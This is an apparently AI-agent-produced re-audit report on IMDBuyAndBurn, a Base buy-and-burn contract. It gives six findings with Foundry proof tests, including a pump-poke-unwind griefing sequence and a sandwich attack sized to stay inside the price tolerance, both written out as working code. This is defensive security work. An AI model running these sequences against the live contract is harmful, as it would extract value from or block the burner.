# Audit report

> Re-audit src/IMDBuyAndBurn.sol after fixes for the findings of IMD audit job de9e10c6 (commit 4e49d40). The contract runs on Base mainnet, receives USDC and anyone can make it buy IMD (Fren Pet on Base, 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105) through two Uniswap v2 pairs and send it to 0x...dEaD; no owner, no withdraw. Changes to verify: (1) the price check now compares the route's marginal price at the current reserves (no fees, no impact) with the TWAP since the last observation, MAX_DEVIATION_BPS = 300, instead of comparing the pool output; (2) each burn spends at most MAX_PER_BURN and DEPTH_BPS = 0.5% of the USDC reserve and of the WETH reserve (valued in USDC), so a thin pool burns in steps (test/ThinPoolLock.t.sol is the earlier medium's proof); (3) poke() reverts with BurnAvailable while a burn would succeed; (4) a remainder below THRESHOLD is spent in the same burn when the pools are deep enough; (5) the Fren Pet blacklist and fee-exemption powers and the Circle blacklist are documented as accepted trust assumptions in README.md and the NatSpec. Check that each fix is correct and complete, and look for anything new it introduced: rounding or overflow in the marginal spot quote and the depth cap, the remainder rule exceeding the depth bound, griefing of poke() or of the window, and any way USDC or IMD can leave other than as intended. Tests run on a Base fork (BASE_RPC). Report each finding with severity, location and a reproduction.

| | |
|---|---|
| Repository | https://github.com/pepegobig/imd-buy-and-burn.git |
| Commit | `2042849a80a37a37ac0d58292d1830a5dea9b67d` |
| Job | `dca64686-c3d3-4230-b0ef-7dcc623af6d6` |
| Judged | 2026-10-15 16:06 UTC |
| Findings | 3 low · 3 info |

Four agents audited the code as it is at `2042849`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Low: poke() can still delay a valid burn: an atomic pump of the USDC/WETH pair passes the BurnAvailable guard, then the pump is unwound (fix 3 incomplete)

`src/IMDBuyAndBurn.sol:129`

```
        if (balance >= THRESHOLD && q.spotOut >= (q.twapOut * (10_000 - MAX_DEVIATION_BPS)) / 10_000) revert BurnAvailable();
```

Fix (3) makes poke() revert with BurnAvailable only when the price check passes at the reserves of the current call. q.spotOut is computed from the pairs' current reserves, which the caller can move earlier in the same transaction, while the TWAP and the counterfactual cumulative do not register a same-block move (both the contract's _cumulative and the pair's _update use the pre-trade reserves for the elapsed time). Once the last observation is older than STALE_AFTER (6 h, normal after any idle period between payouts) and the balance is at least THRESHOLD, anyone can in one transaction: buy WETH on USDC_WETH (no Fren Pet fee on this pair) so that spotOut falls below 97% of twapOut, call poke(), which now passes the guard and runs _observe(), then sell the WETH back. The pools end where they started, but a burn that was valid before and after the transaction now reverts WindowTooShort for MIN_WINDOW (30 min). The NatSpec (line 124) and README.md:16-17 claim poke() 'cannot delay a valid burn'; that does not hold. Impact is bounded: about 30 minutes of delay per 6 hours of staleness, at roughly 41 USDC of round-trip Uniswap fees at today's pair A reserves (179.7 WETH / 438,092 USDC), no funds lost. Reported independently by three specialists (audit_flow, audit_economics, audit_permissions); merged here. Fix: do not let poke() act on a deviation created in the current block, e.g. while balance >= THRESHOLD revert BurnAvailable if either pair's blockTimestampLast == block.timestamp (a price move then has to survive a block boundary and arbitrage first), or measure the poke deviation with a short cumulative-based recent price instead of spot reserves; alternatively reword the NatSpec and README guarantee. With the first fix, test_PokeRestartsTheWindowAfterAPriceMove has to advance one block between _pumpImd and poke().

**Reproduction**

Mock Uniswap v2 pairs with the real K/fee/cumulative rules at Base reserves (pair A 179.7 WETH / 438,092 USDC, pair B 165.6 WETH / 66,004 FP), burner holds 100 USDC, warp 6h+1s. poke() reverts BurnAvailable (a burn would succeed). In one transaction an attacker swaps 7,000 USDC -> WETH on pair A (WETH about 3.2% dearer), calls poke() (succeeds, obsTime = now), then swaps the WETH back (net cost 41.281343 USDC); reserves are back where they were. Expected: buyAndBurn() succeeds as before the transaction. Actual: it reverts WindowTooShort(0). Run: forge test --match-path test/scratch/Proof_2b11c5786a99.t.sol -> FAIL: WindowTooShort(0). Also confirmed on a Base fork by audit_permissions (block 52644982, 15,000 USDC push, cost 86.9 USDC).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";

contract MockToken {
    mapping(address => uint256) public balanceOf;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
}

/// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
contract MockPair {
    address public token0;
    address public token1;
    uint112 r0;
    uint112 r1;
    uint32 last;
    uint256 public price0CumulativeLast;
    uint256 public price1CumulativeLast;

    function init(address t0, address t1) external {
        token0 = t0;
        token1 = t1;
        _update();
    }
    function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
    function _update() internal {
        uint32 now32 = uint32(block.timestamp);
        unchecked {
            uint32 dt = now32 - last;
            if (dt > 0 && r0 != 0 && r1 != 0) {
                price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
            }
        }
        r0 = uint112(MockToken(token0).balanceOf(address(this)));
        r1 = uint112(MockToken(token1).balanceOf(address(this)));
        last = now32;
    }
    function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
        (uint256 o0, uint256 o1) = (r0, r1);
        if (out0 > 0) MockToken(token0).transfer(to, out0);
        if (out1 > 0) MockToken(token1).transfer(to, out1);
        uint256 b0 = MockToken(token0).balanceOf(address(this));
        uint256 b1 = MockToken(token1).balanceOf(address(this));
        uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
        uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
        require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
        require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
        _update();
    }
}

contract PokeGriefTest is Test {
    address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address constant WETH = 0x4200000000000000000000000000000000000006;
    address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
    address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH, WETH is token0
    address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD, WETH is token0

    IMDBuyAndBurn burner;

    function _deploy(uint256 wethB, uint256 imdB) internal {
        vm.warp(1_760_000_000);
        address tok = address(new MockToken());
        vm.etch(USDC, tok.code);
        vm.etch(WETH, tok.code);
        vm.etch(IMD, tok.code);
        address pair = address(new MockPair());
        vm.etch(PAIR_A, pair.code);
        vm.etch(PAIR_B, pair.code);
        // Pair A at its Base reserves (block 52644997): 179.7 WETH / 438,092 USDC
        MockToken(WETH).mint(PAIR_A, 179.7e18);
        MockToken(USDC).mint(PAIR_A, 438_092e6);
        MockPair(PAIR_A).init(WETH, USDC);
        MockToken(WETH).mint(PAIR_B, wethB);
        MockToken(IMD).mint(PAIR_B, imdB);
        MockPair(PAIR_B).init(WETH, IMD);
        burner = new IMDBuyAndBurn();
    }

    function _out(uint256 amountIn, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
        uint256 inWithFee = amountIn * 997;
        return (inWithFee * rOut) / (rIn * 1000 + inWithFee);
    }

    /// poke() delays a burn that succeeds both before and after the caller's transaction
    function test_PumpPokeUnwindDelaysAValidBurn() public {
        _deploy(165.6e18, 66_004e18); // pair B at its Base reserves
        MockToken(USDC).mint(address(burner), 100e6);
        vm.warp(block.timestamp + 6 hours + 1);
        vm.expectRevert(IMDBuyAndBurn.BurnAvailable.selector);
        burner.poke(); // a burn would succeed now

        // One transaction (flash-swap sized): buy WETH from pair A to make it ~3.2% dearer, poke(), sell the WETH back
        address attacker = makeAddr("attacker");
        uint256 usdcIn = 7_000e6;
        MockToken(USDC).mint(attacker, usdcIn);
        vm.startPrank(attacker);
        (uint112 w, uint112 u,) = MockPair(PAIR_A).getReserves();
        uint256 wethOut = _out(usdcIn, u, w);
        MockToken(USDC).transfer(PAIR_A, usdcIn);
        MockPair(PAIR_A).swap(wethOut, 0, attacker, "");
        (bool poked,) = address(burner).call(abi.encodeCall(IMDBuyAndBurn.poke, ()));
        (w, u,) = MockPair(PAIR_A).getReserves();
        uint256 usdcBack = _out(wethOut, w, u);
        MockToken(WETH).transfer(PAIR_A, wethOut);
        MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
        vm.stopPrank();
        emit log_named_decimal_uint("attacker cost (USDC)", usdcIn - usdcBack, 6);
        emit log_named_string("poke inside the bundle", poked ? "succeeded" : "reverted");

        // The pools are back where they were, so the burn that was available must still run
        burner.buyAndBurn();
    }

}
```

### 2. Low: Remainder below THRESHOLD is stranded when the depth cap (not MAX_PER_BURN) binds, or when depth lies between MAX_PER_BURN and the balance (fix 4 incomplete)

`src/IMDBuyAndBurn.sol:173`

```
        if (q.usdcIn < balance && balance - q.usdcIn < THRESHOLD && balance <= depth) q.usdcIn = balance;
```

The remainder rule only fires when balance <= depth, i.e. only when MAX_PER_BURN was the binding cap. In the thin-pool case that fix (2) introduced, depth < MAX_PER_BURN: a balance of depth + r with 0 < r < THRESHOLD is cut to usdcIn = depth, the burn leaves r behind, and every later buyAndBurn() reverts BelowThreshold(r) at line 96 until new USDC arrives. The same happens when depth lies between MAX_PER_BURN and the balance (depth 1,003 USDC, balance 1,004 USDC): the burn spends 1,000, the rule does not fire because 1,004 > 1,003, and 4 USDC is stranded even though spending it would have stayed within the depth bound. With no further payouts up to 4.999999 USDC is locked for good (no withdraw). This is the residual of de9e10c6 finding 6 for the thin-pool path; a thin pool is exactly the case in which payouts may be sparse. Reported by three specialists (audit_flow, audit_math, audit_permissions); merged here. Fix that keeps the depth bound: when the cap binds and balance - usdcIn < THRESHOLD, set usdcIn = balance - THRESHOLD (if positive) so exactly THRESHOLD is left and burnable in the next window; or let a leftover of a capped burn be spent below THRESHOLD (e.g. accept balance >= THRESHOLD || balance == recorded remainder).

**Reproduction**

Mock pairs with Base token order: USDC/WETH 436,000 USDC / 180 WETH; WETH/IMD 16.5 WETH / 6,600 IMD (test/ThinPoolLock.t.sol setUp). depthB = (16.5e18*50/10000)*436000e6/180e18 = 199,833,333 (199.83 USDC) and binds. Set the burner balance to depth + 4e6 = 203,833,333, warp 31 min, buyAndBurn(): spends 199,833,333 and leaves 4,000,000. Warp 31 min, buyAndBurn(): expected the remainder is spent (fix 4), actual revert BelowThreshold(4000000). Run: forge test --match-path test/scratch/Proof_79783c06d190.t.sol -> FAIL: 4000000 != 0 (Proof_7710dc53a016.t.sol shows the same with depth+3 USDC: 3000000 != 0). Second state (verified in test/scratch/Extra.t.sol test_DepthBetweenCapAndBalance): pair A 200,600 USDC / 100 WETH (depthA = 1,003e6), pair B 1,000 WETH / 400,000 IMD, balance 1,004e6: buyAndBurn() spends 1,000e6, leaves 4e6, next call reverts BelowThreshold(4000000).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// The swarm audit's proof for its medium finding (IMD job de9e10c6, finding 1), with preview() updated to the new
// return values. It failed on commit 4e49d40: a flat but thin WETH/IMD pair made every $1,000 burn revert.

import {Test} from "forge-std/Test.sol";
import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";

contract MockToken {
    mapping(address => uint256) public balanceOf;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
}

/// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
contract MockPair {
    address public token0;
    address public token1;
    uint112 r0;
    uint112 r1;
    uint32 last;
    uint256 public price0CumulativeLast;
    uint256 public price1CumulativeLast;

    function init(address t0, address t1) external {
        token0 = t0;
        token1 = t1;
        _update();
    }
    function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
    function _update() internal {
        uint32 now32 = uint32(block.timestamp);
        unchecked {
            uint32 dt = now32 - last;
            if (dt > 0 && r0 != 0 && r1 != 0) {
                price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
            }
        }
        r0 = uint112(MockToken(token0).balanceOf(address(this)));
        r1 = uint112(MockToken(token1).balanceOf(address(this)));
        last = now32;
    }
    function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
        (uint256 o0, uint256 o1) = (r0, r1);
        if (out0 > 0) MockToken(token0).transfer(to, out0);
        if (out1 > 0) MockToken(token1).transfer(to, out1);
        uint256 b0 = MockToken(token0).balanceOf(address(this));
        uint256 b1 = MockToken(token1).balanceOf(address(this));
        uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
        uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
        require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
        require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
        _update();
    }
}

contract DustTest is Test {
    address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address constant WETH = 0x4200000000000000000000000000000000000006;
    address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
    address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH
    address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;

    IMDBuyAndBurn burner;

    function setUp() public {
        vm.warp(1_760_000_000);
        address tok = address(new MockToken());
        vm.etch(USDC, tok.code);
        vm.etch(WETH, tok.code);
        vm.etch(IMD, tok.code);
        address pair = address(new MockPair());
        vm.etch(PAIR_A, pair.code);
        vm.etch(PAIR_B, pair.code);
        // Same token order as on Base: WETH is token0 of both pairs
        MockToken(WETH).mint(PAIR_A, 180e18);
        MockToken(USDC).mint(PAIR_A, 436_000e6);
        MockPair(PAIR_A).init(WETH, USDC);
        MockToken(WETH).mint(PAIR_B, 16.5e18);
        MockToken(IMD).mint(PAIR_B, 6_600e18);
        MockPair(PAIR_B).init(WETH, IMD);
        burner = new IMDBuyAndBurn();
    }
    /// Remainder below THRESHOLD after a depth-capped burn is stranded
    function test_DepthCappedBurnStrandsDust() public {
        vm.warp(block.timestamp + 31 minutes);
        (uint256 depthIn,,,,) = burner.preview(); // 0 balance -> usdcIn 0; compute with a big balance instead
        MockToken(USDC).mint(address(burner), 10_000e6);
        (depthIn,,,,) = burner.preview();
        emit log_named_decimal_uint("depth cap", depthIn, 6);
        // set the balance to depth + $4
        MockToken(USDC).transfer(address(0xbeef), 0); // no-op
        vm.prank(address(burner));
        MockToken(USDC).transfer(address(0xbeef), 10_000e6 - depthIn - 4e6);
        assertEq(MockToken(USDC).balanceOf(address(burner)), depthIn + 4e6);
        burner.buyAndBurn();
        uint256 left = MockToken(USDC).balanceOf(address(burner));
        emit log_named_decimal_uint("left", left, 6);
        vm.warp(block.timestamp + 31 minutes);
        vm.expectRevert(abi.encodeWithSelector(IMDBuyAndBurn.BelowThreshold.selector, left));
        burner.buyAndBurn();
        assertEq(left, 0, "remainder below THRESHOLD should be spent or left at >= THRESHOLD");
    }
}
```

### 3. Low: Sandwich that stays inside MAX_DEVIATION_BPS turns profitable once the USDC/WETH reserve falls below ~$330k: DEPTH_BPS = 50 is above the 30 bps fee break-even, so the README's cost argument does not h

`src/IMDBuyAndBurn.sol:42`

```
    uint256 public constant DEPTH_BPS = 50; // one burn spends at most 0.5% of either pair's input-side reserve
```

The price check (line 99) lets a burn run while the route's marginal price is up to MAX_DEVIATION_BPS = 3% worse than the TWAP, and README.md:29-30 accepts this because 'moving these pools by 3% costs far more in fees than 3% of a burn'. That is not true in general. Because anyone may call buyAndBurn(), the attacker does not need a mempool: in one transaction they buy WETH on USDC_WETH with x = d*R/2 USDC (d = deviation, R = USDC reserve, no Fren Pet fee on this leg), call buyAndBurn() which spends S at the worse price, and sell the WETH back. Round-trip fees cost about 0.006*x = 0.003*d*R; the gain is about d*S. The sandwich pays whenever S > 0.3% of R. The size cap allows S up to DEPTH_BPS = 0.5% of R (lines 167-170) and MAX_PER_BURN = 1,000 USDC otherwise. At today's reserves (R = 438,093 USDC) a 1,000 USDC burn is 0.23% of R and the attacker loses about 9.9 USDC (cost ~40 vs gain ~30, not 'far more'); at R = 330k they break even; at R = 300k they net 2.66 USDC and at 200k 11.75 USDC per burn; once depthA binds (R < 200k) S/R = 0.5% so every burn can be sandwiched profitably, in every 30-minute window while USDC keeps arriving, and the burner pays the full 3% each time: a systematic loss rather than the bounded one-off the README describes. The WETH/IMD leg is protected only by Fren Pet's 4% buy fee on the attacker (owner-settable down to 0). Fix: keep S at or below the break-even, e.g. DEPTH_BPS = 25 (then gain 0.0025*d*R < cost 0.003*d*R for any d) and/or lower MAX_DEVIATION_BPS (the TWAP equals spot to 1e-15 when flat, see test_BurnsTheUsdc, so 100 bps is usable); restate the README claim with the break-even condition.

**Reproduction**

Mock pairs with the real Uniswap v2 K and fee rules: USDC/WETH with 200,000 USDC / 82.034 WETH (2,438 USDC/ETH), WETH/IMD as on Base (165.58 WETH / 66,004 IMD). Fund the contract with 1,000e6 USDC, warp 31 minutes. Attacker buys WETH with 3,070.77 USDC on pair A; preview() then shows spotOut/twapOut = 9700 bps, so buyAndBurn() passes the check and receives 298 bps less IMD than without the pump. Attacker sells the WETH back and holds 3,082.515658 USDC: +11.745658 USDC profit. Expected (README.md:30): a move inside the tolerance does not pay. Actual: it pays. Run: forge test --match-path test/scratch/Proof_297996ffeb86.t.sol -> FAIL: 3082515658 > 3070770000. The test sizes the pump from the contract's own MAX_DEVIATION_BPS and passes with DEPTH_BPS <= 25.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// Finding: a sandwich that stays inside MAX_DEVIATION_BPS on the USDC/WETH pair is profitable once that pair's USDC
// reserve is below about $330k (today: $438k), because DEPTH_BPS = 50 lets one burn take 0.5% of the reserve while the
// round-trip fee of a pump sized for deviation d is only 0.6% * d/2 of the reserve: the break-even is 0.3% of the
// reserve per burn. Mock pairs with the real Uniswap v2 K and fee rules, no fork. The pump is sized from the contract's
// own MAX_DEVIATION_BPS, so the test fails on this code and passes once the size cap or the tolerance is tightened
// (for example DEPTH_BPS <= 25, or MAX_PER_BURN bounded by 0.25% of the USDC reserve).

import {Test} from "forge-std/Test.sol";
import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";

contract MockToken {
    mapping(address => uint256) public balanceOf;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
}

contract MockPair {
    address public token0;
    address public token1;
    uint112 r0;
    uint112 r1;
    uint32 last;
    uint256 public price0CumulativeLast;
    uint256 public price1CumulativeLast;

    function init(address t0, address t1) external {
        token0 = t0;
        token1 = t1;
        _update();
    }
    function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
    function _update() internal {
        uint32 now32 = uint32(block.timestamp);
        unchecked {
            uint32 dt = now32 - last;
            if (dt > 0 && r0 != 0 && r1 != 0) {
                price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
            }
        }
        r0 = uint112(MockToken(token0).balanceOf(address(this)));
        r1 = uint112(MockToken(token1).balanceOf(address(this)));
        last = now32;
    }
    function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
        (uint256 o0, uint256 o1) = (r0, r1);
        if (out0 > 0) MockToken(token0).transfer(to, out0);
        if (out1 > 0) MockToken(token1).transfer(to, out1);
        uint256 b0 = MockToken(token0).balanceOf(address(this));
        uint256 b1 = MockToken(token1).balanceOf(address(this));
        uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
        uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
        require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
        require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
        _update();
    }
}

contract SandwichWithinToleranceTest is Test {
    address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address constant WETH = 0x4200000000000000000000000000000000000006;
    address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
    address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // WETH/USDC
    address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;

    IMDBuyAndBurn burner;
    address attacker = makeAddr("attacker");

    function _out(uint256 x, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
        uint256 f = x * 997;
        return (f * rOut) / (rIn * 1000 + f);
    }

    function setUp() public {
        vm.warp(1_760_000_000);
        address tok = address(new MockToken());
        vm.etch(USDC, tok.code);
        vm.etch(WETH, tok.code);
        vm.etch(IMD, tok.code);
        address pair = address(new MockPair());
        vm.etch(PAIR_A, pair.code);
        vm.etch(PAIR_B, pair.code);
        // USDC/WETH pair with $200k a side at $2,438/ETH (today: $438k); WETH/IMD pair as on Base today
        MockToken(WETH).mint(PAIR_A, 82.034e18);
        MockToken(USDC).mint(PAIR_A, 200_000e6);
        MockPair(PAIR_A).init(WETH, USDC);
        MockToken(WETH).mint(PAIR_B, 165.58e18);
        MockToken(IMD).mint(PAIR_B, 66_004e18);
        MockPair(PAIR_B).init(WETH, IMD);
        burner = new IMDBuyAndBurn();
    }

    /// Largest USDC buy of WETH in pair A that keeps the burn inside the contract's tolerance (bisection)
    function _spotAfterPump(uint256 spend, uint256 pump) internal view returns (uint256) {
        (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
        (uint112 wb, uint112 ib,) = MockPair(PAIR_B).getReserves();
        uint256 wOut = _out(pump, u0, w0);
        return (((spend * (uint256(w0) - wOut)) / (uint256(u0) + pump)) * ib) / wb;
    }

    function _pumpSize(uint256 spend, uint256 twapOut) internal view returns (uint256 lo) {
        uint256 floor_ = (twapOut * (10_000 - burner.MAX_DEVIATION_BPS())) / 10_000;
        (, uint112 u0,) = MockPair(PAIR_A).getReserves();
        uint256 hi = u0;
        for (uint256 i = 0; i < 100; i++) {
            uint256 mid = (lo + hi) / 2;
            if (_spotAfterPump(spend, mid) >= floor_) lo = mid;
            else hi = mid;
        }
        lo = (lo * 999) / 1000; // stay strictly inside
    }

    function test_SandwichInsideToleranceDoesNotPay() public {
        MockToken(USDC).mint(address(burner), 1_000e6);
        vm.warp(block.timestamp + 31 minutes);
        (uint256 spend, uint256 twapOut,, uint256 honestPoolOut,) = burner.preview();

        // Front-run: buy WETH with USDC so that USDC buys just under MAX_DEVIATION_BPS less WETH
        uint256 usdcIn = _pumpSize(spend, twapOut);
        MockToken(USDC).mint(attacker, usdcIn);
        (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
        uint256 wethGot = _out(usdcIn, u0, w0);
        vm.startPrank(attacker);
        MockToken(USDC).transfer(PAIR_A, usdcIn);
        MockPair(PAIR_A).swap(wethGot, 0, attacker, "");
        vm.stopPrank();

        (,, uint256 spotOut, uint256 poolOut,) = burner.preview();
        emit log_named_uint("spot/twap bps after the pump", (spotOut * 10_000) / twapOut);
        emit log_named_decimal_uint("attacker USDC in", usdcIn, 6);

        // Victim: the burn passes the price check
        uint256 burned = burner.buyAndBurn();
        assertEq(burned, poolOut);
        emit log_named_uint("burn loss vs no pump, bps", ((honestPoolOut - burned) * 10_000) / honestPoolOut);

        // Back-run: sell the WETH back
        (w0, u0,) = MockPair(PAIR_A).getReserves();
        uint256 usdcBack = _out(wethGot, w0, u0);
        vm.startPrank(attacker);
        MockToken(WETH).transfer(PAIR_A, wethGot);
        MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
        vm.stopPrank();

        uint256 attackerUsdc = MockToken(USDC).balanceOf(attacker);
        emit log_named_decimal_int("attacker profit, USDC", int256(attackerUsdc) - int256(usdcIn), 6);
        assertLe(attackerUsdc, usdcIn, "a sandwich that stays inside the tolerance must not pay");
    }
}
```

### 4. Info: A burn can spend up to MAX_PER_BURN + THRESHOLD - 1 (1,004.999999 USDC); NatSpec and README state 'at most MAX_PER_BURN' / '$1,000 per call'

`src/IMDBuyAndBurn.sol:27`

```
/// DEPTH_BPS of either pair's reserves (and at most MAX_PER_BURN).
```

Line 173 sets usdcIn = balance whenever balance <= depth and the remainder is below THRESHOLD; depth is not capped by MAX_PER_BURN, so with deep pools one call spends up to 1,004.999999 USDC. That stays within the depth bound, so the impact bound holds, but the NatSpec here ('and at most MAX_PER_BURN'), the MAX_PER_BURN comment at line 41, the _mulQ112 comment at line 223 and README.md:9 ('spends up to $1,000 per call') are wrong. Reported by audit_permissions and audit_math; merged. Fix: document the bound as MAX_PER_BURN + THRESHOLD (deep pools) or apply the dust rule only when balance <= MAX_PER_BURN + THRESHOLD - 1, and state it.

**Reproduction**

Base fork (BASE_RPC): deal 1,004e6 USDC to the burner, warp 31 min, buyAndBurn(). The Burned event reports usdcIn = 1,004,000,000 > MAX_PER_BURN = 1,000,000,000 and the balance is 0. The repository's own test_DustRemainderIsSpent does exactly this and passes (run on 2026-10-15, block ~52645423).

### 5. Info: README understates the worst accepted loss: fees and the trade's own impact stack on the 3% tolerance (about 3.9% at $1,000, up to ~4.6% at the depth bound)

`README.md:30`

```
  most about 3% to manipulation. Moving these pools by 3% costs far more in fees than 3% of a burn of at most $1,000.
```

The check at src/IMDBuyAndBurn.sol:99 compares marginal prices only. The 0.3% fee of each hop and the trade's own impact (up to 0.5% of the input reserve on each hop) come on top of the 3% tolerance, so a burn whose spot sits at the edge of tolerance realizes about 3.9% less IMD than the TWAP at $1,000 into 165 WETH, and about 4.6% at the full depth bound on both hops. The NatSpec at lines 23-27 states this correctly; the README's trust section is what a reader relies on. Fix: say 'about 3% plus fees and impact, at most about 4.6%'.

**Reproduction**

Mock pairs 436,000 USDC / 180 WETH and 165 WETH / 66,000 IMD, contract funded with 1,000e6, warp 31 minutes, then buy IMD on pair B with 1.48% of its WETH reserve (2.442 WETH) so the marginal price is 2.9% above the TWAP: preview() gives spotOut/twapOut = 9710 bps (passes the 9700 check) and poolOut/twapOut = 9607 bps; buyAndBurn() burns 9607 bps of twapOut, a 3.93% loss versus the TWAP (the un-pumped burn would have realized 9892 bps). Verified with test/scratch/Extra.t.sol test_LossAtEdgeOfTolerance.

### 6. Info: Trust assumptions verified on Base; Circle's USDC pause/upgrade power is not listed next to the blacklist

`README.md:28`

```
- **Circle** can blacklist this contract on USDC, with the same effect as a blacklist above.
```

Fix (5) checked against Base mainnet on 2026-10-15: Fren Pet's blacklist is not renounced (blacklistRenounced() = false); its uniswapV2Pair() is 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66, not the pair this contract uses, so 0xDE66...7337 can be blacklisted as the README says; buyTotalFees() = 4 and the setter caps at 5; 0x...dEaD is excluded from fees and from maxTransactionAmount; the pair is registered as an AMM pair. The documentation is accurate for the Fren Pet owner. One omission on the Circle side: FiatToken on Base is pausable (pauser() = 0xD3571B3bc51CECFf49194AD67aFFFC648d5e07b4, paused() = false today) and upgradeable; a pause stops USDC.transfer at src/IMDBuyAndBurn.sol:103 exactly like a blacklist, for its duration. Add 'pause or upgrade' next to 'blacklist' on this line. No code change.

**Reproduction**

cast call 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105 'uniswapV2Pair()(address)' -> 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66; 'blacklistRenounced()(bool)' -> false; 'buyTotalFees()(uint256)' -> 4; 'isExcludedFromFees(address)(bool)' 0x...dEaD -> true. cast call 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 'paused()(bool)' -> false, 'pauser()(address)' -> 0xD3571B3bc51CECFf49194AD67aFFFC648d5e07b4. If the pauser calls pause(), USDC.transfer in buyAndBurn() reverts and burns are blocked, a case README.md:28 does not name.

---

Judge's submission `10ee32194bfa185581c5b98335ff48b72c38058e210eeee053e10b13864076e3`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
